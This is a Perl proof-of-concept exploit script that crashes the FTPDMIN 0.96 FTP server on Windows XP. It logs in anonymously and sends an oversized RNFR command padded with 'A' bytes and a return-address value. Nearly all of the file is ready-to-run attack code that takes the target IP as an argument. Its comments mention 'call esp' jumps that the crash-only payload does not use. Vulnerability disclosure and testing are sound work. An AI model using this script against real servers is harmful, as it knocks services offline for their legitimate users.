#!/usr/bin/perl use Net::FTP; # Exploit Title: FTPDMIN 0.96 - Denial of Service (DoS) # Discovery by: Fernando Mengali # Discovery Date: 02 january 2024 # Vendor Homepage: https://www.sentex.ca/~mwandel/ftpdmin/ # Download to demo: https://drive.google.com/file/d/1CpfvaJbJVxR3HPWvcxIVipTaTj7RAaLd/view?usp=sharing # Notification vendor: Yes reported # Tested Version: FTPDMIN 0.96 # Tested on: Window XP Professional - Service Pack 2 and 3 - English # Vulnerability Type: Denial of Service (DoS) # Vídeo: https://www.youtube.com/watch?v=q-CVJfYdd-g #1. Description #His technique works fine against Windows XP Professional Service Pack 2 and 3 (English). #For this exploit I have tried several strategies to increase reliability and performance: #Jump to a static 'call esp' #Backwards jump to code a known distance from the stack pointer. #The server did not properly handle request with large amounts of data via FTP command RNFR. #The following request sends a large amount of data to the FTP server to process across command RNFR, the server will crash as soon as it is received and processed, causing denial of service conditions. #Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users. #2. Proof of Concept - PoC $sis="$^O"; if ($sis eq "windows"){ $cmd="cls"; } else { $cmd="clear"; } system("$cmd"); intro(); main(); print "[+] Exploiting... \n"; my $buf = "\x41"x269; my $point = "\x45\x2a\x42\x7b"; my $buf2 = "\x41"x126; my $payload = "RNFR ".$buf . $point . $buf2; my $ftp = Net::FTP->new($ip, Debug => 0) or die "Can't connect to server: $@"; $ftp->login("anonymous",'anonymous'); $ftp->quot($payload); $ftp->quit; print "[+] Done - Exploited success!!!!!\n\n"; sub intro { print "***************************************************\n"; print "* FTPDMIN 0.96 - Denied of Service *\n"; print "* *\n"; print "* Coded by Fernando Mengali *\n"; print "* *\n"; print "* e-mail: fernando.mengalli\@gmail.com *\n"; print "* *\n"; print "***************************************************\n"; } sub main { our ($ip) = @ARGV; unless (defined($ip)) { print " \nUsage: $0 <ip> \n"; exit(-1); } } #3. Solution/ How to fix: # This version product is deprecated